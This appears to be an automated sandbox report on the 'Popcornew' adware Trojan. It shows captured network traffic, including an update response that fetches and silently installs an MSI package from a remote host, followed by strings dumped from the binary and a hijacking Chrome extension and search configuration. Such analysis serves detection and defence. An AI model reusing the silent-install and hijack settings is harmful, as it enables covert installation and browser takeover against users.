...=...=.......................................^...=n..8j..8j..8j..8j..8j..8j..8j..8j..8j..8j..8j..8j..8j..8j..8j..8j..8j..9]..=8..>

<<< skipped >>>

GET /client_config?id={4AF15487-35AE-472A-AFD9-733DADC4EB80}&it=1434736505 HTTP/1.1

Accept: *

Content-Type: text/plain

User-Agent: BoxoreClent

Host: popcornew.com

HTTP/1.1 404 Not Found

Server: Apache

Date: Fri, 19 Jun 2015 17:50:39 GMT

Content-Type: text/html

Content-Length: 163

Connection: keep-alive

<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>Apache</center>..</body>..</html>..HTTP/1.1 404 Not Found..Server: Apache..Date: Fri, 19 Jun 2015 17:50:39 GMT..Content-Type: text/html..Content-Length: 163..Connection: keep-alive..<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>Apache</center>..</body>..</html>....

POST /omaha/tools/service/update2/?w=3:FhxKsJLaArjd_zthbghrY0uaS1b-UYA_hw9DIyc83gnjr3xmHIwe7FiFQqYS9SSQSeiHWwvTMUDLW5ZzSZCl4tA4W-1B_KckmtZcBDomAUALITXoizEQWBdeQcoIrq7RvOwewQ7l5M5sfbHecuR7uJkA-RfpfeWZEqeUkISS3KU HTTP/1.1

User-Agent: Google Update/1.3.25.0;winhttp;cup

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

If-Match: "9t2WBP_xDpVMPcw4T5dme-xP2zs"

Host: popcornew.com

Content-Length: 468

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache

<?xml version="1.0" encoding="UTF-8"?><request protocol="3.0" version="1.3.25.0" ismachine="1" sessionid="{95CA9D6B-6394-49BD-B838-AFDF6DAAAA4D}" installsource="otherinstallcmd" testsource="auto" requestid="{EE215907-CDD5-447A-8E16-211D3BB3FA4F}"><os platform="win" version="5.1" sp="Service Pack 3" arch="x86"/><app appid="{82BE43A3-77AF-4978-B081-893EF286DC00}" version="" nextversion="" lang="en" brand="" client="138" installage="-1"><updatecheck/></app></request>

HTTP/1.1 200 OK

Server: Apache

Date: Fri, 19 Jun 2015 17:49:57 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.4.6

Expires: Thu, 18 Jun 2015 17:49:57 GMT

Cache-Control: no-cache

35a..<?xml version="1.0" encoding="UTF-8"?>.<response protocol="3.0" server="prod">. <daystart elapsed_seconds="71397"/>. <app appid="{82BE43A3-77AF-4978-B081-893EF286DC00}" status="ok">. <updatecheck status="ok" tttoken="PopcornewToken">. <urls>. <url codebase="hXXp://VVV.dlmanager.net/omaha/dl/applications/{82BE43A3-77AF-4978-B081-893EF286DC00}/17/"/>. </urls>. <manifest version="7.3.0.0">. <packages>. <package hash="7a2MgbcJFsKq6/zRtiYZmEh93TM=" name="Popcornew_7.3.msi" required="true" size="5894144"/>. </packages>. <actions>. <action event="install" run="Popcornew_7.3.msi" needsadmin="true" arguments="/norestart /qn"/>. <action event="postinstall" onsuccess="exitsilently"/>. </actions>. </manifest>. </updatecheck>. <ping status="ok"/>. </app>.</response>...0..HTTP/1.1 200 OK..Server: Apache..Date: Fri, 19 Jun 2015 17:49:57 GMT..Content-Type: text/html..Transfer-Encoding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.4.6..Expires: Thu, 18 Jun 2015 17:49:57 GMT..Cache-Control: no-cache..35a..<?xml version="1.0" encoding="UTF-8"?>.<response protocol="3.0" server="prod">. <daystart elapsed_seconds="71397"/>. <app appid="{82BE43A3-77AF-4978-B081-893EF286DC00}" status="ok">. <updatecheck status="ok" tttoken="PopcornewToken">. <urls>. <

<<< skipped >>>

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

popcornew.exe_2488:

.text

.text

`.rdata

`.rdata

@.data

@.data

.rsrc

.rsrc

@.reloc

@.reloc

,4,56,789

,4,56,789

j.Yf;

j.Yf;

_tcPVj@

_tcPVj@

.PjRW

.PjRW

r%f;M

r%f;M

CREATE TABLE sqlite_master(

CREATE TABLE sqlite_master(

sql text

sql text

CREATE TEMP TABLE sqlite_temp_master(

CREATE TEMP TABLE sqlite_temp_master(

SQLite format 3

SQLite format 3

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@REINDEXEDESCAPEACHECKEYBEFOREIGNOREGEXPLAINSTEADDATABASELECTABLEFTHENDEFERRABLELSEXCEPTRANSACTIONATURALTERAISEXCLUSIVEXISTSAVEPOINTERSECTRIGGEREFERENCESCONSTRAINTOFFSETEMPORARYUNIQUERYATTACHAVINGROUPDATEBEGINNERELEASEBETWEENOTNULLIKECASCADELETECASECOLLATECREATECURRENT_DATEDETACHIMMEDIATEJOINSERTMATCHPLANALYZEPRAGMABORTVALUESVIRTUALIMITWHENWHERENAMEAFTEREPLACEANDEFAULTAUTOINCREMENTCASTCOLUMNCOMMITCONFLICTCROSSCURRENT_TIMESTAMPRIMARYDEFERREDISTINCTDROPFAILFROMFULLGLOBYIFISNULLORDERESTRICTOUTERIGHTROLLBACKROWUNIONUSINGVACUUMVIEWINITIALLY_\

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@REINDEXEDESCAPEACHECKEYBEFOREIGNOREGEXPLAINSTEADDATABASELECTABLEFTHENDEFERRABLELSEXCEPTRANSACTIONATURALTERAISEXCLUSIVEXISTSAVEPOINTERSECTRIGGEREFERENCESCONSTRAINTOFFSETEMPORARYUNIQUERYATTACHAVINGROUPDATEBEGINNERELEASEBETWEENOTNULLIKECASCADELETECASECOLLATECREATECURRENT_DATEDETACHIMMEDIATEJOINSERTMATCHPLANALYZEPRAGMABORTVALUESVIRTUALIMITWHENWHERENAMEAFTEREPLACEANDEFAULTAUTOINCREMENTCASTCOLUMNCOMMITCONFLICTCROSSCURRENT_TIMESTAMPRIMARYDEFERREDISTINCTDROPFAILFROMFULLGLOBYIFISNULLORDERESTRICTOUTERIGHTROLLBACKROWUNIONUSINGVACUUMVIEWINITIALLY_\

3.7.17

3.7.17

sqlite_attach

sqlite_attach

RowKey

RowKey

SQL logic error or missing database

SQL logic error or missing database

unknown operation

unknown operation

large file support is disabled

large file support is disabled

sqlite_rename_table

sqlite_rename_table

sqlite_rename_trigger

sqlite_rename_trigger

sqlite_rename_parent

sqlite_rename_parent

sqlite_version

sqlite_version

sqlite_source_id

sqlite_source_id

sqlite_log

sqlite_log

sqlite_compileoption_used

sqlite_compileoption_used

sqlite_compileoption_get

sqlite_compileoption_get

GetProcessHeap

GetProcessHeap

foreign_keys

foreign_keys

sqlite_stat1

sqlite_stat1

sqlite_detach

sqlite_detach

SQLITE_

SQLITE_

d-d-d d:d:d

d-d-d d:d:d

d:d:d

d:d:d

d-d-d

d-d-d

failed to allocate %u bytes of memory

failed to allocate %u bytes of memory

failed memory resize %u to %u bytes

failed memory resize %u to %u bytes

922337203685477580

922337203685477580

API call with %s database connection pointer

API call with %s database connection pointer

os_win.c:%d: (%lu) %s(%s) - %s

os_win.c:%d: (%lu) %s(%s) - %s

delayed %dms for lock/sharing conflict

delayed %dms for lock/sharing conflict

%s-shm

%s-shm

%s\etilqs_

%s\etilqs_

%s\%s

%s\%s

recovered %d pages from %s

recovered %d pages from %s

recovered %d frames from WAL file %s

recovered %d frames from WAL file %s

cannot limit WAL size: %s

cannot limit WAL size: %s

invalid page number %d

invalid page number %d

2nd reference to page %d

2nd reference to page %d

Failed to read ptrmap key=%d

Failed to read ptrmap key=%d

Bad ptr map entry key=%d expected=(%d,%d) got=(%d,%d)

Bad ptr map entry key=%d expected=(%d,%d) got=(%d,%d)

%d of %d pages missing from overflow list starting at %d

%d of %d pages missing from overflow list starting at %d

failed to get page %d

failed to get page %d

freelist leaf count too big on page %d

freelist leaf count too big on page %d

Page %d:

Page %d:

unable to get the page. error code=%d

unable to get the page. error code=%d

btreeInitPage() returns error code %d

btreeInitPage() returns error code %d

On tree page %d cell %d:

On tree page %d cell %d:

On page %d at right child:

On page %d at right child:

Corruption detected in cell %d on page %d

Corruption detected in cell %d on page %d

Multiple uses for byte %d of page %d

Multiple uses for byte %d of page %d

Fragmentation of %d bytes reported as %d on page %d

Fragmentation of %d bytes reported as %d on page %d

Page %d is never used

Page %d is never used

Pointer map page %d is referenced

Pointer map page %d is referenced

Outstanding page count goes from %d to %d during this analysis

Outstanding page count goes from %d to %d during this analysis

unknown database %s

unknown database %s

keyinfo(%d

keyinfo(%d

%s(%d)

%s(%d)

%s-mjXXXXXX9XXz

%s-mjXXXXXX9XXz

MJ delete: %s

MJ delete: %s

MJ collide: %s

MJ collide: %s

-mjX9X

-mjX9X

foreign key constraint failed

foreign key constraint failed

unable to use function %s in the requested context

unable to use function %s in the requested context

bind on a busy prepared statement: [%s]

bind on a busy prepared statement: [%s]

zeroblob(%d)

zeroblob(%d)

abort at %d in [%s]: %s

abort at %d in [%s]: %s

constraint failed at %d in [%s]

constraint failed at %d in [%s]

cannot open savepoint - SQL statements in progress

cannot open savepoint - SQL statements in progress

no such savepoint: %s

no such savepoint: %s

cannot release savepoint - SQL statements in progress

cannot release savepoint - SQL statements in progress

cannot commit transaction - SQL statements in progress

cannot commit transaction - SQL statements in progress

sqlite_temp_master

sqlite_temp_master

sqlite_master

sqlite_master

SELECT name, rootpage, sql FROM '%q'.%s WHERE %s ORDER BY rowid

SELECT name, rootpage, sql FROM '%q'.%s WHERE %s ORDER BY rowid

cannot change %s wal mode from within a transaction

cannot change %s wal mode from within a transaction

database table is locked: %s

database table is locked: %s

statement aborts at %d: [%s] %s

statement aborts at %d: [%s] %s

cannot open value of type %s

cannot open value of type %s

cannot open virtual table: %s

cannot open virtual table: %s

cannot open view: %s

cannot open view: %s

no such column: "%s"

no such column: "%s"

foreign key

foreign key

indexed

indexed

cannot open %s column for writing

cannot open %s column for writing

misuse of aliased aggregate %s

misuse of aliased aggregate %s

%s: %s.%s.%s

%s: %s.%s.%s

%s: %s.%s

%s: %s.%s

%s: %s

%s: %s

not authorized to use function: %s

not authorized to use function: %s

%r %s BY term out of range - should be between 1 and %d

%r %s BY term out of range - should be between 1 and %d

too many terms in %s BY clause

too many terms in %s BY clause

Expression tree is too large (maximum depth %d)

Expression tree is too large (maximum depth %d)

variable number must be between ?1 and ?%d

variable number must be between ?1 and ?%d

too many SQL variables

too many SQL variables

too many columns in %s

too many columns in %s

EXECUTE %s%s SUBQUERY %d

EXECUTE %s%s SUBQUERY %d

misuse of aggregate: %s()

misuse of aggregate: %s()

%.*s"%w"%s

%.*s"%w"%s

%s%.*s"%w"

%s%.*s"%w"

%s OR name=%Q

%s OR name=%Q

type='trigger' AND (%s)

type='trigger' AND (%s)

sqlite_

sqlite_

table %s may not be altered

table %s may not be altered

there is already another table or index with this name: %s

there is already another table or index with this name: %s

view %s may not be altered

view %s may not be altered

UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;

UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;

UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d 18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');

UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d 18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');

sqlite_sequence

sqlite_sequence

UPDATE "%w".sqlite_sequence set name = %Q WHERE name = %Q

UPDATE "%w".sqlite_sequence set name = %Q WHERE name = %Q

UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;

UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;

Cannot add a PRIMARY KEY column

Cannot add a PRIMARY KEY column

UPDATE "%w".%s SET sql = substr(sql,1,%d) || ', ' || %Q || substr(sql,%d) WHERE type = 'table' AND name = %Q

UPDATE "%w".%s SET sql = substr(sql,1,%d) || ', ' || %Q || substr(sql,%d) WHERE type = 'table' AND name = %Q

sqlite_altertab_%s

sqlite_altertab_%s

CREATE TABLE %Q.%s(%s)

CREATE TABLE %Q.%s(%s)

DELETE FROM %Q.%s WHERE %s=%Q

DELETE FROM %Q.%s WHERE %s=%Q

SELECT tbl,idx,stat FROM %Q.sqlite_stat1

SELECT tbl,idx,stat FROM %Q.sqlite_stat1

invalid name: "%s"

invalid name: "%s"

too many attached databases - max %d

too many attached databases - max %d

database %s is already in use

database %s is already in use

unable to open database: %s

unable to open database: %s

no such database: %s

no such database: %s

cannot detach database %s

cannot detach database %s

database %s is locked

database %s is locked

%s %T cannot reference objects in database %s

%s %T cannot reference objects in database %s

access to %s.%s.%s is prohibited

access to %s.%s.%s is prohibited

access to %s.%s is prohibited

access to %s.%s is prohibited

object name reserved for internal use: %s

object name reserved for internal use: %s

there is already an index named %s

there is already an index named %s

too many columns on %s

too many columns on %s

duplicate column name: %s

duplicate column name: %s

default value of column [%s] is not constant

default value of column [%s] is not constant

table "%s" has more than one primary key

table "%s" has more than one primary key

AUTOINCREMENT is only allowed on an INTEGER PRIMARY KEY

AUTOINCREMENT is only allowed on an INTEGER PRIMARY KEY

CREATE %s %.*s

CREATE %s %.*s

UPDATE %Q.%s SET type='%s', name=%Q, tbl_name=%Q, rootpage=#%d, sql=%Q WHERE rowid=#%d

UPDATE %Q.%s SET type='%s', name=%Q, tbl_name=%Q, rootpage=#%d, sql=%Q WHERE rowid=#%d

CREATE TABLE %Q.sqlite_sequence(name,seq)

CREATE TABLE %Q.sqlite_sequence(name,seq)

view %s is circularly defined

view %s is circularly defined

UPDATE %Q.%s SET rootpage=%d WHERE #%d AND rootpage=#%d

UPDATE %Q.%s SET rootpage=%d WHERE #%d AND rootpage=#%d

sqlite_stat%d

sqlite_stat%d

DELETE FROM %Q.sqlite_sequence WHERE name=%Q

DELETE FROM %Q.sqlite_sequence WHERE name=%Q

DELETE FROM %Q.%s WHERE tbl_name=%Q and type!='trigger'

DELETE FROM %Q.%s WHERE tbl_name=%Q and type!='trigger'

sqlite_stat

sqlite_stat

table %s may not be dropped

table %s may not be dropped

use DROP TABLE to delete table %s

use DROP TABLE to delete table %s

use DROP VIEW to delete view %s

use DROP VIEW to delete view %s

foreign key on %s should reference only one column of table %T

foreign key on %s should reference only one column of table %T

number of columns in foreign key does not match the number of columns in the referenced table

number of columns in foreign key does not match the number of columns in the referenced table

unknown column "%s" in foreign key definition

unknown column "%s" in foreign key definition

indexed columns are not unique

indexed columns are not unique

table %s may not be indexed

table %s may not be indexed

views may not be indexed

views may not be indexed

virtual tables may not be indexed

virtual tables may not be indexed

there is already a table named %s

there is already a table named %s

index %s already exists

index %s already exists

sqlite_autoindex_%s_%d

sqlite_autoindex_%s_%d

table %s has no column named %s

table %s has no column named %s

CREATE%s INDEX %.*s

CREATE%s INDEX %.*s

INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);

INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);

no such index: %S

no such index: %S

index associated with UNIQUE or PRIMARY KEY constraint cannot be dropped

index associated with UNIQUE or PRIMARY KEY constraint cannot be dropped

DELETE FROM %Q.%s WHERE name=%Q AND type='index'

DELETE FROM %Q.%s WHERE name=%Q AND type='index'

a JOIN clause is required before %s

a JOIN clause is required before %s

unable to identify the object to be reindexed

unable to identify the object to be reindexed

no such collation sequence: %s

no such collation sequence: %s

table %s may not be modified

table %s may not be modified

cannot modify %s because it is a view

cannot modify %s because it is a view

foreign key mismatch - "%w" referencing "%w"

foreign key mismatch - "%w" referencing "%w"

table %S has %d columns but %d values were supplied

table %S has %d columns but %d values were supplied

%d values for %d columns

%d values for %d columns

table %S has no column named %s

table %S has no column named %s

%s.%s may not be NULL

%s.%s may not be NULL

constraint %s failed

constraint %s failed

PRIMARY KEY must be unique

PRIMARY KEY must be unique

sqlite3_extension_init

sqlite3_extension_init

%s.%s

%s.%s

unable to open shared library [%s]

unable to open shared library [%s]

sqlite3_

sqlite3_

no entry point [%s] in shared library [%s]

no entry point [%s] in shared library [%s]

error during initialization: %s

error during initialization: %s

automatic extension loading failed: %s

automatic extension loading failed: %s

foreign_key_list

foreign_key_list

foreign_key_check

foreign_key_check

*** in database %s ***

*** in database %s ***

unsupported encoding: %s

unsupported encoding: %s

malformed database schema (%s)

malformed database schema (%s)

%s - %s

%s - %s

unsupported file format

unsupported file format

SELECT name, rootpage, sql FROM '%q'.%s ORDER BY rowid

SELECT name, rootpage, sql FROM '%q'.%s ORDER BY rowid

database schema is locked: %s

database schema is locked: %s

unknown or unsupported join type: %T %T%s%T

unknown or unsupported join type: %T %T%s%T

RIGHT and FULL OUTER JOINs are not currently supported

RIGHT and FULL OUTER JOINs are not currently supported

a NATURAL join may not have an ON or USING clause

a NATURAL join may not have an ON or USING clause

cannot have both ON and USING clauses in the same join

cannot have both ON and USING clauses in the same join

cannot join using column %s - column not present in both tables

cannot join using column %s - column not present in both tables

USE TEMP B-TREE FOR %s

USE TEMP B-TREE FOR %s

COMPOUND SUBQUERIES %d AND %d %s(%s)

COMPOUND SUBQUERIES %d AND %d %s(%s)

%s:%d

%s:%d

ORDER BY clause should come after %s not before

ORDER BY clause should come after %s not before

LIMIT clause should come after %s not before

LIMIT clause should come after %s not before

SELECTs to the left and right of %s do not have the same number of result columns

SELECTs to the left and right of %s do not have the same number of result columns

no such index: %s

no such index: %s

sqlite_subquery_%p_

sqlite_subquery_%p_

too many references to "%s": max 65535

too many references to "%s": max 65535

%s.%s.%s

%s.%s.%s

no such table: %s

no such table: %s

SCAN TABLE %s %s%s(~%d rows)

SCAN TABLE %s %s%s(~%d rows)

sqlite3_get_table() called with two or more incompatible queries

sqlite3_get_table() called with two or more incompatible queries

cannot create %s trigger on view: %S

cannot create %s trigger on view: %S

cannot create INSTEAD OF trigger on table: %S

cannot create INSTEAD OF trigger on table: %S

INSERT INTO %Q.%s VALUES('trigger',%Q,%Q,0,'CREATE TRIGGER %q')

INSERT INTO %Q.%s VALUES('trigger',%Q,%Q,0,'CREATE TRIGGER %q')

no such trigger: %S

no such trigger: %S

-- TRIGGER %s

-- TRIGGER %s

no such column: %s

no such column: %s

cannot VACUUM - SQL statements in progress

cannot VACUUM - SQL statements in progress

PRAGMA vacuum_db.synchronous=OFF

PRAGMA vacuum_db.synchronous=OFF

SELECT 'CREATE TABLE vacuum_db.' || substr(sql,14) FROM sqlite_master WHERE type='table' AND name!='sqlite_sequence' AND rootpage>0

SELECT 'CREATE TABLE vacuum_db.' || substr(sql,14) FROM sqlite_master WHERE type='table' AND name!='sqlite_sequence' AND rootpage>0

SELECT 'CREATE INDEX vacuum_db.' || substr(sql,14) FROM sqlite_master WHERE sql LIKE 'CREATE INDEX %'

SELECT 'CREATE INDEX vacuum_db.' || substr(sql,14) FROM sqlite_master WHERE sql LIKE 'CREATE INDEX %'

SELECT 'CREATE UNIQUE INDEX vacuum_db.' || substr(sql,21) FROM sqlite_master WHERE sql LIKE 'CREATE UNIQUE INDEX %'

SELECT 'CREATE UNIQUE INDEX vacuum_db.' || substr(sql,21) FROM sqlite_master WHERE sql LIKE 'CREATE UNIQUE INDEX %'

SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND rootpage>0

SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND rootpage>0

SELECT 'DELETE FROM vacuum_db.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'

SELECT 'DELETE FROM vacuum_db.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'

SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';

SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';

INSERT INTO vacuum_db.sqlite_master SELECT type, name, tbl_name, rootpage, sql FROM main.sqlite_master WHERE type='view' OR type='trigger' OR (type='table' AND rootpage=0)

INSERT INTO vacuum_db.sqlite_master SELECT type, name, tbl_name, rootpage, sql FROM main.sqlite_master WHERE type='view' OR type='trigger' OR (type='table' AND rootpage=0)

UPDATE %Q.%s SET type='table', name=%Q, tbl_name=%Q, rootpage=0, sql=%Q WHERE rowid=#%d

UPDATE %Q.%s SET type='table', name=%Q, tbl_name=%Q, rootpage=0, sql=%Q WHERE rowid=#%d

vtable constructor failed: %s

vtable constructor failed: %s

vtable constructor did not declare schema: %s

vtable constructor did not declare schema: %s

no such module: %s

no such module: %s

table %s: xBestIndex returned an invalid plan

table %s: xBestIndex returned an invalid plan

%s SUBQUERY %d

%s SUBQUERY %d

%s TABLE %s

%s TABLE %s

%s AS %s

%s AS %s

%s USING %s%sINDEX%s%s%s

%s USING %s%sINDEX%s%s%s

%s USING INTEGER PRIMARY KEY

%s USING INTEGER PRIMARY KEY

%s (rowid=?)

%s (rowid=?)

%s (rowid>? AND rowid)

%s (rowid>? AND rowid)

%s (rowid>?)

%s (rowid>?)

%s (rowid)

%s (rowid)

%s VIRTUAL TABLE INDEX %d:%s

%s VIRTUAL TABLE INDEX %d:%s

%s (~%lld rows)

%s (~%lld rows)

at most %d tables in a join

at most %d tables in a join

cannot use index: %s

cannot use index: %s

the INDEXED BY clause is not allowed on UPDATE or DELETE statements within triggers

the INDEXED BY clause is not allowed on UPDATE or DELETE statements within triggers

the NOT INDEXED clause is not allowed on UPDATE or DELETE statements within triggers

the NOT INDEXED clause is not allowed on UPDATE or DELETE statements within triggers

unknown database: %s

unknown database: %s

no such %s mode: %s

no such %s mode: %s

%s mode not allowed: %s

%s mode not allowed: %s

no such vfs: %s

no such vfs: %s

database corruption at line %d of [%.10s]

database corruption at line %d of [%.10s]

misuse at line %d of [%.10s]

misuse at line %d of [%.10s]

cannot open file at line %d of [%.10s]

cannot open file at line %d of [%.10s]

{"active_permissions":{"api":["contextMenus","notifications","tabs","unlimitedStorage","webNavigation","webRequest","webRequestBlocking","webRequestInternal"],"explicit_host":["hXXp://*/*","hXXps://*/*"],"scriptable_host":["hXXp://*/*","hXXps://*/*"]},"creation_flags":9,"from_bookmark":false,"from_webstore":true,"granted_permissions":{"api":["contextMenus","notifications","tabs","unlimitedStorage","webNavigation","webRequest","webRequestBlocking","webRequestInternal"],"explicit_host":["hXXp://*/*","hXXps://*/*"],"scriptable_host":["hXXp://*/*","hXXps://*/*"]},"initial_keybindings_set":true,"install_time":"13047485847014017","location":1,"manifest":{"background":{"scripts":["config.js","ext/common.js","ext/background.js","lib/compat.js","lib/info.js","lib/io.js","lib/adblockplus.js","lib/punycode.js","lib/publicSuffixList.js","lib/basedomain.js","lib/sha1.js","lib/jsbn.js","lib/rsa.js","webrequest.js","popupBlocker.js","iconAnimation.js","background.js"]},"content_scripts":[{"all_frames":true,"js":["config.js","ext/common.js","include.preload.js"],"matches":["hXXp://*/*","hXXps://*/*"],"run_at":"document_start"},{"all_frames":true,"js":["smartdisplay.js"],"matches":["hXXp://*/*","hXXps://*/*"],"run_at":"document_end"},{"all_frames":true,"js":["include.idle.js"],"matches":["hXXp://*/*","hXXps://*/*"],"run_at":"document_idle"}],"description":"Popcornew","icons":{"128":"Popcornew.png","48":"Popcornew.png"},"key":"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAig6oQYfBuEQJD0QyMu2AeDx9/XjWLLI9N k3fjiAA4VvC33HJ41tpZEJq7I4XeKRNT4S3XWKzAj1x5QvBvM2zbwx6WAwaQIW2ZYKArl pUJZ5V1EPg1W04TRnzEYQfl3kj8c8e0x9aO3XsquorLOPB5Texxgjt2XxsTIFSZABxxLx0EY8WJHwgvd1wtL3scVs5jQhtJX4dEgThuKcM7kAllzrQjVkupxPvG4xTASbB xbh1WwcmkwvqDsyjE7fdxysfacP7ToSOPYdg3wPc7Uow1ZYY6 1skQFSMgPYF6hDN/ZFE5TGDr7Mxsoo8cowTGcl3F1cBiTxzsASQr 8uxQIDAQAB","manifest_version":2,"minimum_chrome_version":"18.0","name":"Popcornew","permissions":["tabs","hXXp://*/*","hXXps://*/*","contextMenus","webRequest","webRequestBlocking","webNavigation","unlimitedStorage","notifications"],"update_url":"hXXps://clients2.google.com/service/update2/crx","version":"2.5","web_accessible_resources":["config.js","block.html"]},"path":"engaigpbgdjjmanonjcjkcmomgibneba\\2.5_0","state":1,"was_installed_by_default":false}

{"active_permissions":{"api":["contextMenus","notifications","tabs","unlimitedStorage","webNavigation","webRequest","webRequestBlocking","webRequestInternal"],"explicit_host":["hXXp://*/*","hXXps://*/*"],"scriptable_host":["hXXp://*/*","hXXps://*/*"]},"creation_flags":9,"from_bookmark":false,"from_webstore":true,"granted_permissions":{"api":["contextMenus","notifications","tabs","unlimitedStorage","webNavigation","webRequest","webRequestBlocking","webRequestInternal"],"explicit_host":["hXXp://*/*","hXXps://*/*"],"scriptable_host":["hXXp://*/*","hXXps://*/*"]},"initial_keybindings_set":true,"install_time":"13047485847014017","location":1,"manifest":{"background":{"scripts":["config.js","ext/common.js","ext/background.js","lib/compat.js","lib/info.js","lib/io.js","lib/adblockplus.js","lib/punycode.js","lib/publicSuffixList.js","lib/basedomain.js","lib/sha1.js","lib/jsbn.js","lib/rsa.js","webrequest.js","popupBlocker.js","iconAnimation.js","background.js"]},"content_scripts":[{"all_frames":true,"js":["config.js","ext/common.js","include.preload.js"],"matches":["hXXp://*/*","hXXps://*/*"],"run_at":"document_start"},{"all_frames":true,"js":["smartdisplay.js"],"matches":["hXXp://*/*","hXXps://*/*"],"run_at":"document_end"},{"all_frames":true,"js":["include.idle.js"],"matches":["hXXp://*/*","hXXps://*/*"],"run_at":"document_idle"}],"description":"Popcornew","icons":{"128":"Popcornew.png","48":"Popcornew.png"},"key":"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAig6oQYfBuEQJD0QyMu2AeDx9/XjWLLI9N k3fjiAA4VvC33HJ41tpZEJq7I4XeKRNT4S3XWKzAj1x5QvBvM2zbwx6WAwaQIW2ZYKArl pUJZ5V1EPg1W04TRnzEYQfl3kj8c8e0x9aO3XsquorLOPB5Texxgjt2XxsTIFSZABxxLx0EY8WJHwgvd1wtL3scVs5jQhtJX4dEgThuKcM7kAllzrQjVkupxPvG4xTASbB xbh1WwcmkwvqDsyjE7fdxysfacP7ToSOPYdg3wPc7Uow1ZYY6 1skQFSMgPYF6hDN/ZFE5TGDr7Mxsoo8cowTGcl3F1cBiTxzsASQr 8uxQIDAQAB","manifest_version":2,"minimum_chrome_version":"18.0","name":"Popcornew","permissions":["tabs","hXXp://*/*","hXXps://*/*","contextMenus","webRequest","webRequestBlocking","webNavigation","unlimitedStorage","notifications"],"update_url":"hXXps://clients2.google.com/service/update2/crx","version":"2.5","web_accessible_resources":["config.js","block.html"]},"path":"engaigpbgdjjmanonjcjkcmomgibneba\\2.5_0","state":1,"was_installed_by_default":false}

{"created_by_policy":false,"date_created":"0","favicon_url":"hXXps://VVV.bing.com/s/a/bing_p.ico","image_url":"","image_url_post_params":"","input_encodings":["UTF-8"],"instant_url":"","instant_url_post_params":"","keyword":"VVV.bing.com","last_modified":"0","new_tab_url":"hXXps://VVV.bing.com/chrome/newtab?setmkt=en-US","originating_url":"","prepopulate_id":0,"safe_for_autoreplace":true,"search_terms_replacement_key":"","search_url_post_params":"","short_name":"Bing.com","suggestions_url":"hXXp://api.bing.com/osjson.aspx?query={searchTerms}&language={language}","suggestions_url_post_params":"","url":"hXXp://search.conduit.com/Results.aspx?ctid=CT3327911&searchsource=56&UM=2&&q={searchTerms}","usage_count":0}

{"created_by_policy":false,"date_created":"0","favicon_url":"hXXps://VVV.bing.com/s/a/bing_p.ico","image_url":"","image_url_post_params":"","input_encodings":["UTF-8"],"instant_url":"","instant_url_post_params":"","keyword":"VVV.bing.com","last_modified":"0","new_tab_url":"hXXps://VVV.bing.com/chrome/newtab?setmkt=en-US","originating_url":"","prepopulate_id":0,"safe_for_autoreplace":true,"search_terms_replacement_key":"","search_url_post_params":"","short_name":"Bing.com","suggestions_url":"hXXp://api.bing.com/osjson.aspx?query={searchTerms}&language={language}","suggestions_url_post_params":"","url":"hXXp://search.conduit.com/Results.aspx?ctid=CT3327911&searchsource=56&UM=2&&q={searchTerms}","usage_count":0}

last_chrome_version

last_chrome_version

chrome.plugin.ver_installed

chrome.plugin.ver_installed

chrome.plugin.error

chrome.plugin.error

extensions.settings.

extensions.settings.

template_url_data

template_url_data

search_url

search_url

